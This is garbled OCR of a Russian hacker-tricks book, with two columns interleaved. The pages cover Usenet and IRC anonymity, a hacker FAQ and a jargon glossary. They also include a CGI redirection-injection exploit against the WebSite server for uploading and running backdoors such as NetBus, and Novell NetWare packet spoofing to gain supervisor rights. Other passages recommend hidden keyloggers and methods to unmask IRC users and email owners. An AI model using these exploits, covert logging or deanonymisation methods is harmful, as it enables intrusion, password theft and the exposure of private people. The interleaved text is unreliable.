коенибудь средство удаленного администрирования и управления, типа D:\WebSite\cgi dos\args.bat
ВО или NetBus, и запустить его. Этап закачки не представляет никакого D:\WebSite\cgi temp\xxxxx.out
интереса, т.к. по умолчанию WebSite позволяет удаленно запустить /cgi
Если этому .bat файлу кинуть в командной строке аргументов, на
win/uploader.exe и закачать кому угодно что угодно.
пример, /cgidos/args.bat?africa.bat, то получим xxxxx.bat:
Вторым этапом является выяснение месторасположения каталога @ECHO OFF&&TITLE WebSite CGI
с WebSite'ом. Это делается тоже очень легко, просто удаленно запускаем D:\WebSite\cgi dos\args.bat africa.bat
файл /cgidos/args.bat, на что нам в ответ приходит сообщение типа: D:\WebSite\cgi temp\xxxxx.out
Empty output from CGI program Кто знает, что такое перенаправление потока данных (значки
D:/WebSite/cgi dos/args.bat > и <), сразу поймет, что здесь к чему. Попростому, WebSite создает вре
что однозначно определяет каталог с WebSite'ом. Тогда отобража менный xxxx.bat файл, результаты деятельности которого перенаправля
емый каталог /cgidos/ будет находится в каталоге D:/WebSite/cgidos/, ются в файл xxxxx.out. Этот файл xxxxx.out отдается удаленному клиенту
а путь к файлу Patch.exe, который мы закачиваем, будет: результатом работы скрипта, если в работе скрипта не произошло ошиб
D:/WebSite/UploadS/Patch.exe ки. Во временных файлах вместо символов xxxxx подставляется случай
ная последовательность символов.
Итак, момент, к которому мы подошли, — это исследование на
предмет возможности запуска файла, который мы закачали. Например, у Запускаем вот так:
webсервера Apache есть уязвимость на счет тестовых скриптов /cgibin/ /cgi dos/args.bat?>d:/Website/cgi shl/1.bat
testcgi и /cgibin/nphtestcgi, которые аналогичны присутствующему в
получаем xxxxx.bat:
WebSite примеру Args.bat. Эта уязвимость заключается в том, что воз
можна распечатка передаваемой строки в таком виде, в каком она при @ECHO OFF&&TITLE WebSite CGI
сутствует, и это обычно делается строчкой скрипта D:\WebSite\cgi dos\args.bat africa.bat
^>D:/WebSite/cgi shl/1.bat
echo QUERY_STRING = $QUERY_STRING
D:\WebSite\cgi temp\xxxxx.out
т.е. если мы передаем строчку типа > 1.bat, то по логике вещей
Видите, как нехорошо поступил WebSite — перед символом
строчка
перенаправления > поставил какуюто гадость ^, от которой всякое
QUERY_STRING = перенаправление перестает быть перенаправлением.
будет перенаправлена в файл 1.bat, путь к этому файлу мы могли
бы указать на каталог /cgibin/, он бы туда записался, и далее уже удален
но мы могли бы его запустить из этого каталога.
Хакерские трюки 273 274 Хакерские трюки

Если забивать много много перенаправлений типа >, то вполне ется поле FROM в отправленном сообщении, поскольку в нем какоето,
возможно, что в какойто момент времени на каждый значок > не хватит пусть и фиктивное, имя фигурировать будет, например John Johnson.
значка ^, так как вполне возможно, что буфер у WebSite не резиновый.
Метод #3
Глава 31. Использование mailtonews gateway в сочетании с анонимным ри
мейлером. Mailtonews gateway позволяет пользователям отправлять со
Скрытая Usenet общения в группы новостей с использованием электронной почты, а не
местного сервера новостей. Но если пользоваться этим сервисом
Большинство людей, использующих Usenet, знает, как важно бы «в лоб», то ваше имя и обратный адрес будут фигурировать в сообщении,
вает скрыть свою личность. Вопервых, как только вы послали любое со т.к. mailtonews gateways их не анонимизируют. Для того, чтобы достичь
общение в любую группу новостей, ваш почтовый ящик с необычайной полной анонимности, следует использовать комбинацию анонимного
скоростью начинает наполняться junk mail, т.е. всяким мусором, расска римейлера и mailtonews gateway, т.е. отправить сообщение в mailto
зывающим, как разбогатеть за месяц, остановить выпадение волос и дру news gateway с сайта такого римейлера. Это просто: отправляйтесь на та
гой подобной дрянью. Вовторых, ваши публично высказанные взгляды кой сайт, затем к странице, позволяющей отправлять сообщения (можно
могут вызвать волну откликов, причем не только в рамках группы ново воспользоваться SSLзащищенной формой), наберите ваше сообщение,
стей, но и направленных напрямую автору сообщениях, что не всегда же а поле TO: заполните в соответствии со следующей схемой.
лательно. Втретьих, ваши друзья, коллеги или работодатель могут на
толкнуться на ваше сообщение, причем оно может им не понравиться. Для отправки сообщения, например, в группу alt.test, адрес дол
Короче говоря, причин может быть много, а вывод один: совсем не пло жен быть таким:
хо знать, как сохранить анонимность в Usenet. m2n YYYYMMDD alt.test@alpha.jpunix.com
Кратко опишем методы, которыми можно воспользоваться для где
этой цели. Первые два метода дают вам возможность пользоваться аль YYYYMMDD — это текущая дата (год, месяц, день). Для отправки
тернативным электронным адресом, при этом ответы на ваше сообще сообщения в несколько групп их названия следует разделить знаком +.
ние в Usenet (а также junk mail) вы получать все равно будете, а вот ваша Например, для отправки сообщения в alt.test и misc.test 11 сентября 1998
реальная личность останется скрытой. Третий метод дает полную ано адрес таков:
нимность: никакой почты вообще. Так что выбирайте тот, который боль
m2n 19980911 alt.test+misc.test@alpha.jpunix.com
ше подходит.
Вот и все. Ваше сообщение будет выглядеть так:
Метод #1 Date: Thu, 11 Sep 1998 11:09:02 +0200 (MET DST)
Использование коммерческой службы для отправки сообщений Message ID: <199809111009.MAA29412@basement.replay.com>
в группы новостей. Стоит денег, но прост в использовании. Адреса: Subject: Just testing
www.nymserver.com и www.mailanon.com (последняя служба предоставляет From: nobody@REPLAY.COM (Anonymous)
семидневный бесплатный пробный период). Organization: Replay and Company UnLimited
X 001: Replay may or may not approve of the content of this post
ing
Метод #2 X 002: Report misuse of this automated service to
Получение бесплатного электронного адреса в Hotmail или X URL: http://www.replay.com/remailer/
NetAddress, что, по сути, равнозначно получению «фиктивного» адреса, Mail To News Contact: postmaster@alpha.jpunix.com
поскольку ваше настоящее имя давать совсем не обязательно, и исполь
зованию DejaNews free posting service. Метод чуть более сложен, чем пер Newsgroups: alt.test, misc.test
вый. Никому не известно, кто вы, но чтобы скрыть еще и где вы, следует This is only a test
воспользоваться проксисервером, иначе ваш IPадрес будет обнаружи
вать ваше географическое положение. Другим недостатком метода явля
Хакерские трюки 275 276 Хакерские трюки

Как легко заметить, не малейшего следа отправителя! Следует не записана. Вместо этого воспользуйтесь DCC (Direct Client to Client). При
забывать о еще одном важном моменте. Mailtonews gateways появляют этом информация будет передаваться вашему собеседнику напрямую,
ся и исчезают. Alpha.jpunix.com работает сегодня, но может исчезнуть за минуя сервер, от которого можно даже отключиться после установления
втра. Но не печальтесь, свежую информацию о таких службах можно все связи по DCC. В принципе, и эту информацию можно расшифровать на
гда найти. И не забывайте попробовать, как все работает, прежде чем любом из узлов, через который установлена связь между вами и вашим
отправить чтолибо важное! собеседником, но это сложно.
Все сообщения, отправляемые в usenet, по умолчанию сохраняют Сбор информации о том, на каких каналах вы находитесь, с после
ся в базе данных навеки. Если вы не хотите, чтобы сообщение было заар дующей идентификацией вашей личности. Допустим, политический де
хивировано, следует воспользоваться командой: ятель, скрывающий свою гомосексуальную ориентацию, часто бывает в
X no archive:yes IRC. Будучи уверенным в свой анонимности, он частенько заходит на ка
нал #russiangay или #blackleather. Общается с людьми. Вступает в пере
Это можно сделать либо путем добавления этого дополнительного
писку, не называя, понятное дело, своего реального имени. А потом на
заголовка в сообщение, если newsклиент позволяет это сделать, либо
ходит все свои письма опубликованными в какойнибудь вонючей
просто в первой строке сообщения написать xnoarchive:yes.
бульварной газетенке типа Mосковского Kомсомольца. Не очень прият
Иногда пользователь отправляет сообщение, а потом жалеет об но. Но ситуация вполне возможная.
этом, особенно если он не воспользовался заголовком xnoarchive:yes.
Если вы хотите быть анонимны, не указывайте свой настоящий
Dejanews позволяет «убить» отправленное ранее сообщение.
адрес email в соответствующем поле в Setup.
Некоторые пользователи предпочитают пользоваться usenet, избе
Cтаньте «невидимы». Это свойство позволяет вам оставаться не
гая возможного наблюдения провайдера. В этом случае неплохим реше
обнаруженным при попытке любого пользователя, не знающего точное
нием становится использование публичных серверов новостей.
написание вашего nick, найти вас в IRC по имени вашего домена или
userid (часть вашего email, стоящая перед знаком @), используя коман
Глава 32. ду /who или /names. Это делается командой /mode $me +i, которая может
быть для удобства включена в список команд, автоматически выполня
Скрытая Internet Relay Chat емых при подключении. В последних версиях mIRC надо просто поста
вить галочку напротив Invisible Mode в диалоговом окне Setup.
IRC оставила далеко позади себя как неуклюжие chat'ы в окне бра
узера, так и маразматические «комнаты общения» таких онлайновых Не давайте свой адрес людям в IRC, в добропорядочности которых
служб, как AOL и MSN, превосходящие по степени контролируемости, вы не уверены. Или, по крайней мере, давайте свой альтернативный
поднадзорности и отсутствия какой бы то ни было анонимности школь адрес.
ные утренники в СССР. IRC настолько популярна, что многие люди
проводят в IRC больше времени, чем бродя по WWW. И коль скоро для Вы — охотник
многих людей это часть жизни, следует подумать и о privacy в этой вирту Довольно мощным средством поиска по какойлибо известной
альной жизни. части информации о пользователе (или группе пользователей) является
команда /who, о которой почемуто нет ни слова в mIRC'овском
Вы — дичь Helpфайле. Делая запрос о пользователе командой /whois, мы обычно
Возможность прослушивания того, что вы говорите другому чело получаем примерно такой текст:
веку при общении один на один. Здесь все довольно просто: если вы счи ShowTime ~mouse@ml1_12.linknet.net * May flower
таете, что обсуждаемый вопрос конфеденциален, не пользуйтесь обще ShowTime on #ircbar #newbies
нием на канале, даже если кроме вас и вашего собеседника на нем никого ShowTime using Oslo R.NO.EU.Undernet.org [194.143.8.106]
нет. Не пользуйтесь командой /msg или окном query, что одно и то же. Scandinavia Online AS
Вся информация проходит через IRCсервер и технически может быть End of /WHOIS list.
Хакерские трюки 277 278 Хакерские трюки

Команда /who позволяет задать маску для поиска пользователей двух вышеупомянутых программ, либо прямо в mIRC, где есть кнопка
по любой части их доменного имени, userid или имени (то, что в поле Finger прямо на Tool Bar), определить всех текущих пользователей из до
Real Name). Допустим, мы ищем людей из домена global.de. Синтаксис мена linknet.net. Для этого мы делаем finger адреса @linknet.net (userid не
таков: указываем). При удачном стечении обстоятельств мы получим чтони
/who *global.de* будь в этом роде:
Или ищем всех пользователей из Сингапура: Trying linknet.net
Attempting to finger @linknet.net
/who *.sg*
[linknet.net]
Или мы уже общались с господином ShowTime и хотим найти его root 0000 Admin console Fri 16:27
опять: henroam John Brown pts/1 Tue 10:57
/who *mouse* pckh68.linknet.net
или pailead Jack White pts/2 Tue 11:03
ml4_17.linknet.net
/who *flower*
oneguy Michael Lee pts/3 Tue 11:08
Так же могут найти и вас, если вы не воспользуейтесь командой ml1_12.linknet.net
/mode $me +i. sirlead6 Joan Jackson pts/4 Tue 11:05
Определение адреса электронной почты — задача довольно слож ml4_16.linknet.net
ная, но иногда выполнимая. Начнем с «лобовой» атаки. Команда /ctcp End of finger session
ShowTime userinfo (или, проще, через меню) покажет нам email address, Вот он наш ml1_12, принадлежит oneguy@linknet.net. Отметим,
указанный самим пользователем. Поскольку мало кто сообщает свой на что иногда информация в ответ на fingerзапрос может быть выдана толь
стоящий адрес, надежды на правдивый ответ мало. Если домен получен ко пользователю из того же домена, к которому принадлежит адрес, ко
ного адреса совпадает с тем, что следует за знаком @ в ответе, получен торый вы хотите идентифицировать. Решение простое: найдите пользо
ном на запрос /whois, то вероятность того, что адрес указан правдивый, вателя из искомого домена (/who *linknet.net*) и попросите его сделать
повышается. fingerзапрос.
Следущая возможность — использовать информацию, содержа И в первом, и во втором случае есть еще одна возможность. Если
щуюся в ответе на запрос /whois. Имя домена подделать невозможно, по «охотнику» известно реальное имя или фамилия искомого пользователя,
этому мы наверняка знаем, что пользователь ShowTime из домена можно послать fingerзапрос в виде имя@домен или фамилия@домен.
linknet.net. Это первый шаг. Часто вместо буквенной строки после знака Например, finger на Alexandr@main.com2com.ru выдаст нам список всех
@ следует цифровой IPадрес, который по той или иной причине не оп пользователей по имени Александр с их логинами.
ределился при подключении пользователя к серверу. Его можно попы
Вот, пожалуй, и все известные средства, которые есть у «охотни
таться определить командой /DNS ShowTime. Если результат получен, то
ка». А выяснив ваш реальный email адрес, «охотник» может может выяс
переходим к следующему абзацу. Если нет, то попробуем еще один спо
нить и ваше реальное имя.
соб. Воспользовавшись программой WS Ping32 или CyberKit, сделаем
TraceRoute с указанием цифрового адреса. Программа проследит путь от
вашего IPадреса до искомого IP, принадлежащего ShowTime. Послед Глава 33.
ний из определившихся по имени адресов укажет, скорее всего, на имя
домена пользователя. Установление личности по известному
Едем дальше. У нас есть либо полное имя, соответствующее IPад адресу
ресу пользователя под кличкой ShowTime (ml1_12.linknet.net), либо, в
худшем случае, только имя домена (linknet.net). В первом случае мы мо Способы выяснения личности по известному адресу email весьма
жем попытаться, воспользовавшись командой finger (либо в одной из разнообразны, причем ни один из них не гарантирует успеха. Обратная
задача решается довольно тривиально: множество email directories
Хакерские трюки 279 280 Хакерские трюки

(Four11, WhoWhere) позволяют найти по имени человека его адрес (если, Глава 34.
конечно, он сам того захотел).
Воспользовавшись программой WS Ping32 или лучше CyberKit, вы
Защищенный разговор onBline
получите возможность как бы направить ваш указательный палец на лю В то время как существуют десятки программных продуктов, по
бой адрес электронной почты и спросить «А это кто?». Иногда вам могут зволяющих шифровать файлы и сообщения, передаваемые по электрон
ответить. Итак, мы задаем адрес someone@oxford.edu, получаем: ной почте, средств для защиты разговоров в режиме online все еще очень
Login name:someone In real life: John McCartney мало. Какой бы из известных программ для разговора в текстовом режи
Directory:/usr/someone Shell: /usr/bin/csch ме (chat) мы ни пользовались, наш разговор может стать объектом для
Last login Fri Aug18, 1995 on ttyv3 from dialup.oxford.edu любопытных ушей. Нет необходимости говорить, что провайдеру или
No mail любой другой заинтересованной организации так уж легко прочесть то,
No plan что мы печатаем на клавиатуре в процессе общения на IRC или ICQ, но
Это означает, что someone@oxfrord.edu принадлежит некому John если им будет очень интересно послушать наши разговоры, они это сде
McCartney. Дело сделано, хотя очень часто вы не получите никакого ре лают. Простой текст (а любой стандартный chat — это простой текст) мо
зультата либо строку следующего содержания: жет быть выделен из IPпакетов с помощью специального оборудования
и/или программного обеспечения (sniffers).
Forwarding service denied
или: Ну, все не так уж и плохо, поскольку подслушивание и подсматри
вание, эти любимые развлечения определенной части русского народа,
Seems like you won't get what you are looking for
являются делом, отнимающим чрезвычайно много времени и денег, да и
То же самое можно сделать, пойдя по этому адресу в WWW, где вероятность того, что будут подслушивать именно вас, невелика. И тем
расположен Webинтерфейс, позволяющий получить тот же самый ре не менее...
зультат.
Следует заметить, что выполнение finger с использованием имени Разговор в текстовом режиме
хоста (в данном случае oxford.edu) может не принести никакого результа Программа для защищенных разговоров online — Secure Commu
та, в то время как использование видоизмененного (альтернативного) nicator.
имени хоста результат даст. Как узнать альтернативное имя хоста? Вос
пользуйтесь CyberKit, функция NS LookUp. Введите имя www.oxford.edu Secure Communicator позволяет шифровать онлайновые разгово
и посмотрите на полученный результат. Он может содержать альтерна ры и файлы, передаваемые одним пользователем другому. Для начала
тивные имена хоста, называемые aliases, скажем, panda.oxford.edu. По разговора нужно знать IPадрес собеседника или воспользоваться online
пробуйте someone@panda.oxford.edu, может сработать. Пример из жизни: directory service, аналогичным тому, что есть в Netscape CoolTalk, MS
someone@com2com.ru не даст ничего, а вот someone@main.com2com.ru NetMeeting или IPhone, только вот он не работает никогда. Но это про
выдаст искомый результат. блема не большая для умелых рук (мозгов), всегда можно сначала встре
титься на IRC или ICQ, узнать IPадрес и договориться о пароле, а затем
Иногда информация в ответ на fingerзапрос может быть выдана перейти на Secure Communicator, который позволяет вести беседу как
только пользователю из того же домена, к которому принадлежит адрес, в mIRC.
который вы хотите идентифицировать. Решение простое: найдите поль
зователя из искомого домена в Internet Relаy Chat, и попросите его сде Плохая новость состоит в том, что evaluation copy, а это именно то,
лать finger запрос. Программаклиент для IRC содержит функцию finger, что вы можете скачать в сети, разговаривать позволяет, а вот шифровать
так что никакой специальный софт человеку, к которому вы обратились, разговор не дает.
не потребуется. Сайт фирмыпроизводителя не дает никакой информации о мето
дах шифровки, примененных в программе. А программе, производители
которой даже, простите, не почесались рассказать пользователю, на
сколько пользователь защищен, доверять нельзя. Сравните с той же
Хакерские трюки 281 282 Хакерские трюки

PGP, которая даже программный код опубликовала! Такого бессодержа Как получить права супервизора
тельного сайта автор еще никогда не видел. И надеется не увидеть. Вы можете получить права супервизора, просто став его эквива
Directory service не работает, что неудобно. Правда, может, зарабо лентом.
тает, но вряд ли. Есть функция, известная как EQUEVALENT TO ME, которую сле
дует посылать от имени супервизора. Вы можете послать пакет через
InternetBтелефония IPXдрайвер, однако в этом случае вы не имеете доступа к физическому
Прекрасный продукт для тех, кто имеет хорошую телефонную ли заголовку пакета. Скорее всего, сервер не проверяет адрес отправителя
нию, быстрый модем и звуковую карту — это PGPfone. Он обеспечивает там. Вы также можете послать пакет через LSLдрайвер, но это слишком
надежнейшую криптозащиту и позволяет общаться не только в сети, но сложно.
и просто с другим телефонным абонентом напрямую.
Последствия
После ответа на пакет сервер ждет следующего, с увеличенным на
Глава 35. единицу sequence number’ом. Если вы попытаетесь вставить ваш пакет в
Как взломать Novell Netware работу между сервером и станцией, последняя повиснет. Этого можно
избежать посылкой еще 255*256 пакетов.
Как вы знаете, все может быть сломано, и NOVELL NETWARE не
является исключением. Однако время взлома чеголибо зависит от вре Если вы реализуете программу, у вас будут права супервизора. Мы
мени получения информации об этом. Чем больше информации вы най надеемся, что вы не будете вредить таким же пользователям, каким вы до
дете, тем проще вам будет взламывать. этого были.

Принцип обмена пакетами Глава 36.


Прежде всего, сервер и рабочие станции посылают пакеты друг
другу в соответствии со специальным протоколом, известным как Что помнит компьютер
Netware Core Protocol (NCP), основанным на протоколе IPX. Все пакеты
подписываются уникальным номером в диапазоне от 0 до 255, храня Существует возможность записи того, что вы печатаете на чужом
щимся в одном байте. компьютере, владельцем этого компьютера, или, если смотреть на это с
другой стороны, ваше право посмотреть, что творилось на вашем ком
Это поле известно как Sequence Number. Инициатором является пьютере, пока вас не было в офисе.
станция. Она посылает пакет с запросом и ждет ответа. Сервер, получая
запрос, проверяет адрес станции, адрес сети, сокет, номер соединения и И то, и другое делается одним методом: все, что набирается на
sequence number. Если чтонибудь не в порядке, сервер отказывается вы клавиатуре, заносится в текстовый файл специальной программой. Так
полнять запрашиваемую операцию и посылать ответ. что набранный вами текст на компьютере в бизнесцентре или Inter
netкафе может легко стать достоянием владельца такого компьютера.
Технически такая операция выполняется классом программ, называе
Общая идея взлома мых keyboard loggers. Они существуют для разных операционных систем,
Сервер проверяет все пакеты, которые он получает. Но если сфор могут автоматически загружаться при включении и маскируются под ре
мировать пакет, как это делает другая станция, поставить ее адрес, номер зидентные антивирусы или чтонибудь еще полезное.
соединения и т.д. и послать его в сеть, то сервер никогда не узнает, чей
запрос он выполняет. Основная трудность — sequence number, потому что Самая лучшая из опробованных программ, Hook Dump 2.5, напи
другие поля могут быть получены с помощью обычных функций. Чтобы санная Ильей Осиповым, может автоматически загружаться при включе
быть уверенным, что сервер выполнил операцию, нужно послать тот же нии компьютера, при этом никак не проявляя своего присутствия. На
самый пакет 255 раз с разными sequens numbers. бранный на клавиатуре текст, названия программ, в которых набирался
текст, и даже скрытый пароль в DialUp Networking, который вообще не
Хакерские трюки 283 284 Часто задаваемые вопросы

набирался, — все записывается в файл, расположенный в любой дирек


тории и под любым именем. Программа имеет много настроек, позволя Часто задаваемые
ющих определять нужную конфигурацию.
Другая опробованная программа для Windows —Keylog при загруз вопросы
ке превращалась в малоприметный минимизированный прямоугольник
на taskbar'е , сливающийся с ним цветом и не имеющий надписи. Макси
мизация приводит к появлению небольшого окна с надписью Minimize
this window. Для неискушенного пользователя выглядит вполне невинно. Как научиться хакерству?
Сначала научитесь нескольким вещам сами. Покажите, что стара
Кроме того, существует программа HideIt, позволяющая убрать
етесь, что способны к самостоятельному обучению. И уже потом отправ
с экрана или taskbar'а любое окно (или несколько окон) и превратить их
ляйтесь к знакомым хакерам с вопросами.
в маленькую икону в system tray.
Где найти настоящих хакеров, чтобы с ними поговорить?
Самый лучший способ — найти вашу местную группу пользо
вателей Unix или Linux и сходить на их встречи (ссылки на несколько
списков групп пользователей можно найти на странице LDP на Sunsite).

Какой язык следует выучить первым?


HTML, если вы его еще не знаете. Есть масса расфуфыренных
и потрясающе бездарных книг по HTML, но обескураживающе мало хо
роших. Одна из них: The Definitive Guide.
Но HTML — это не полноценный язык программирования. Когда
вы почувствуете, что готовы начать программировать, лучше всего на
чать с языка Python. Многие люди будут рекомендовать вам начинать
с Perl, и этот язык более популярен, чем Python, но его сложнее выучить.
Си — действительно важный язык, но он и намного сложнее, не
жели Python или Perl. Не пытайтесь выучить его первым.

А не станет ли так, что изBза программ с открытым исходным коB


дом программистам будет не на что жить?
Ну, это вряд ли. Пока что, похоже, индустрия программного обес
печения с открытым исходным кодом скорее создает рабочие места, не
жели их сокращает. Если экономически более прибыльно иметь напи
санную программу, чем такой программы не иметь, то программисту
будут платить независимо от того, станет ли эта программа бесплатной
после ее создания. И, независимо от того, как много будет написано
«бесплатных» программ, всегда еще больше будет запросов на новые
и специализированные приложения.
Приложения 285 286 Приложения

Приложения bletcherous
блетчерэс — бездарный, бездарно выполненный (о системе или
программе).

bogotify
Элементы жаргона хакеров боготифай — дезорганизовать (систему или программу).

bomb
backslash
бом — бомба (неверная команда, вызывающая порчу программы).
бэкслэш — обратная косая черта (название символа).
bracket
backspark
брэкет — заключать в скобки.
бэкспарк — закрывающая кавычка (название символа).
curly brackets
bang
керли брэкетс — фигурные скобки.
бэнг — восклицательный знак (название символа).
squiggle brackets
barf
сквигл брэкетс — фигурные скобки.
барф — выражать недовольство (действиями пользователя со сто
роны системы).
breedle
beetle бридл — резкий звуковой фон (работающего терминала).
битл — «жучок» (координатный манипулятор для управления кур
сором). brocket
брокет — знак «больше» или «меньше».
bells and whistles
белз энд уислз — ненужные свойства программы, «украшения». left brocket
лефт брокет — знак «меньше».
bird whirley
бед виэли — накопитель на дисках, «вертушка». right brocket
райт брокет — знак «больше».
bit
бит — сведения. bum
бам
blackboard ◆ «Улучшать» (например, программу ценой потери ее
блэкборд — (классная) доска (область памяти, общедоступная для четкости).
всех модулей системы).
◆ Мелкое «улучшение» (обычно лишнее).
Приложения 287 288 Приложения

buzz ◆ Несобираемый мусор.


базз ◆ Неприятное свойство программы.
◆ «Зависать», «жужжать» (об ЭВМ, работающей в коротком ◆ Халтура (результат недобросовестной программистской
цикле). работы).
◆ «Жужжать» (об ЭВМ, работающей в коротком цикле).
to cruft together
close ту крафт тугезе — смастерить на скорую руку (программу).
клоуз — закрывающая (круглая) скобка (название символа).
cruftmanship
cokebottle крафтмэншип — халтура (плохо выполненная программистская
коукботл — несуществующий символ (на клавиатуре). работа).

computron crunch
компьютрон — компьютрон (мифическая частица вычислений кранч — знак #, диез.
или информации).
cycle
cons сайкл — квант вычислений.
конс — синтезировать целое из частей.
duty cycle
crlf дьюти сайкл — дежурный цикл.
возврат каретки с переводом строки.
stolen cycle
cracker стоулэн сайкл — захваченный цикл.
крэкер — крэкер, похититель информации (разновидность ха
кера). day flag
дэй флэг — «день флага» (срок внесения в систему изменений, ис
crock ключающих возможность использования ранее эксплуатировавшихся
крок — хрупкая (неустойчивая) программа (боящаяся изменений, программ).
громоздкая конструкция), МОНСТР.
DDT
crockitude ДДТ (динамическое средство для «выведения» в программах про
крокитьюд — громоздкость, гигантизм (программы). граммных ошибок)

crocky bit decay


кроки — хрупкий, боящийся изменений (о программе). бит дикэй — распад бит, битовый распад (являющийся «причи
ной» неработоспособности долго не используемых программ).
cruft
крафт
Приложения 289 290 Приложения

delta ears rabbit


делтэ иэрз рэббит («кроличьи уши») — двойные кавычки.
◆ Небольшое изменение (например, в программе).
embrace
◆ Небольшое количество, дельта, кусочек (например, имбрэйс — левая фигурная скобка.
памяти).
english
within delta of
инглиш — программа на языке высокого уровня.
визин делтэ оф — в пределах дельты (почти точно).
epsilon
diddle
ипсилон — ничтожно малое количество, эпсилон.
дидл — смастерить наспех (программу).
epsilon over
dike
ипсилон оуве — меньше эпсилон.
дайк — удалять, заглушать (например, дефектную часть програм
мы для обеспечения работоспособности последней).
epsilon squared
ипсилон скуэрд
dpb
вставлять (например, дополнительные биты в битовую конфигу ◆ Эпсилонквадрат, пренебрежимо малое количество.
рацию). ◆ Пренебрежимо малый.

dracon within epsilon of


дрейкон — дракон (системная программа, периодически выпол визин ипсилон оф — в пределах эпсилон.
няющая служебные функции незаметно для пользователя).
within epsilon of working
drawing
оф уокинг — почти совсем работающий (о программе).
дроуинг — чертежные данные.
cratered error
hardcopy drawing
крейтэрд эррор — воронка (тип ошибки, не позволяющей продол
хардкопи дроуинг — документальный чертеж (в отличие от суще жать выполнение программы).
ствующего на экране дисплея).
fencepost error
cycle drought
фенспост эррор — ошибка на единицу, ошибка «поста охранения»
сайкл драут — подсадка производительности (приводящая (при которой число циклов итеративного процесса оказывается на еди
к уменьшению вычислительной мощности, например, в результате вы ницу меньше или больше необходимого).
ключения из работы некоторых блоков системы).
offBbyBone error
dwim
офф бай уан эррор — ошибка занижения или завышения на еди
двим — ненужная добавка (усложняющая программу). ницу (числа подсчитываемых объектов).
Приложения 291 292 Приложения

fail flush
фэйл — запятая (название символа). флаш
◆ Подавлять (ненужную информацию в памяти),
feature выключать(ся) из работы.
фича — ненужное свойство программы.
◆ Выключать(ся) из работы.
creeping featurism
frob
крипинг фичеризм — ползучий «улучшизм» (стремление к посто
янным ненужным усложнениям программы за счет мелких улучшений). фроб — программка.

feep frob (nicate)


фип — ровное жужжание (работающего терминала). фроб никэйт — бесцельно манипулировать (клавишами на
пульте).
flap
fry
флэп — сматывать ленту (для освобождения магнитофона другому
пользователю), освобождать машину. фрай — выйти из строя, сгореть.

flatworm fadge
флэтуорм — подчеркивающая черта (название символа). фэдж
◆ «Состряпанная» (наспех) программа.
flavor
◆ Подогнать под ответ.
флейве
◆ Разновидность (например, типов команд). garbageBcollect
◆ Красота (как свойство системы или программы), гарбиджколлект — собирать мусор.
«изюминка».
gear
to yield a flavor джиэ — знак «звездочка».
ту ийлд э флейве — придавать красоту (системе или программе).
gedanken
flavorful гедэнкен — недоделанный (об алгоритме или программе).
флэйвэфул — аккуратный, красивый, с «изюминкой» (о системе
или программе). glitch
глитч
◆ Сбой, давать сбои, сбоить.
◆ Глитч, заскок (у программиста).
◆ Застопориваться, буксовать.
Приложения 293 294 Приложения

◆ Проскакивать, продвигаться толчками (по экрану grovel


дисплея), дергаться. гроувэл

glork ◆ Рыскать (без видимого результата, например, при


просмотре файлов).
глорк — сбиваться (с нормального функционирования).
◆ Штудировать (например, документацию на систему).
gobble
гобл — хватать, выхватывать, поглощать (например, данные из бу to grоvel obscenely
ферной памяти). ту гроувел обсинли — продираться (например, через дебри про
граммной документации).
to gobble dоwn
ту гобл даун — отхватить (например, дефицитную программную gubbish
документацию). габиш — непригодная (для использования) информация, мусор.

gobbler gun (down)


гоблер — элемент, устанавливающий все входные линии в пустое ган (даун) — насильственно прерывать (программу, бесполезно
состояние. занимающую машинные ресурсы).

grind hack
грайнд хэк
◆ Придавать (программе) эстетический вид (располагая ◆ Кусок работы (выполняемый в спешке).
надлежащим образом строки листинга, шлифовать
◆ Поделка (результат поспешного выполнения куска
программу).
работы).
◆ Перемалывать, многократно прокручивать (бесполезную
◆ Тонкая ювелирная работа (требующая профессионального
задачу).
мастерства и иногда долгого времени).
grok ◆ Верх совершенства, «конфетка».
грок — глубоко понимать, разбираться, быть знатоком (например, ◆ Курьез, забава; забавляться (при работе на машине).
операционной системы во всех ее тонкостях).
◆ Общаться (с вычислительной машиной).
gronk ◆ Изучать, осваивать, влезать (в тонкости сложной
гронк — отключать (устройство). программы или системы).
◆ Слоняться без дела, убивать время в ожидании выхода на
gronked машину.
◆ Истощенный работой (о фанатичном программисте).
◆ Абсолютно неработоспособный (об устройстве, for hack value
программе). фор хэк вэлью — ради забавы (о работе над бесполезной, но не
обычной программой).
Приложения 295 296 Приложения

to hack together infinite hair


ту хэк тугезэ — компоновать наспех, сколачивать. инфинит хэйр — адская работа (по написанию очень сложных
программ).
to hack up (on)
ту хэк ап он hairy
хэйри
◆ Выполнять поделку.
◆ Чрезмерно сложный, непостижимый.
◆ (По)работать (над чемлибо с целью получения желаемого
результата). ◆ Знающий свое дело, опытный, авторитетный.

hacker hakmem
хакер хэкмем — памятка хакера, справочник (перечень) курьезов хакер
ского искусства.
◆ Программистфанатик, хакер (занимающийся
доскональным изучением вычислительных систем с целью
расширения их возможностей). hirsute
хайерсьют
◆ Плодовитый программист (быстро пишущий хорошие
программы). ◆ Чрезмерно сложный, непостижимый.
◆ Знаток (конкретной программы). ◆ Знающий свое дело, опытный, авторитетный.
◆ Эксперт (в какойлибо области знаний).
jaggies
◆ Хакеры, цвет общества программистов. джэггиз — неровности, ступеньки (при изображении линий на эк
◆ Компьютерный хулиган. ране дисплея).

hackerеsе jock
хакериз — язык хакеров, программистский жаргон. джок — программист, пишущий программы «в лоб», нетворчески,
«жокей».
hacking
klu(d)ge
хакинг — творческая работа хакера.
кладж
hackish ◆ Клудж (устройство, программа или часть программы,
хакиш — искусный, хакерский. которые теоретически не должны работать, но почемуто
работают).
hackishnees ◆ Ляп в программе.
хакишнис — программистское искусство, хакерство.
to klu(d)ge around
hair ту кладж эраунд — обходить трудности с помощью клуджа.
хэйр — трудоемкая, сложная работа.
Приложения 297 298 Приложения

to klu(d)ge up mung(e)
ту кладж ап — вставлять клудж в программу. манг, мандж
◆ Вносить изменения в файл (обычно необратимые),
learning by doing случайно изменять файл.
лернин бай дуин — обучение (ЭВМ) на собственном опыте.
◆ Портить чтолибо (случайно или умышленно).
learning by example
open
лернин бай икзампл — обучение (ЭВМ) на примерах.
оупен — открывающая (круглая) скобка (название символа).
learning by generalization
monetary prefix
лернин бай дженералайзэйшен — обучение (ЭВМ) путем обобще
ния. монэтри прэфикс — префикс в виде знака денежных единиц (на
пример, $).
learning from mistakes
broken program
лернин фром мистэйкс — обучение (ЭВМ) на ошибках, обучение
по принципу «на ошибках учатся». броукн програм — испорченная программа (не способная к ра
боте).
guided discovery learning
bruteBforce program
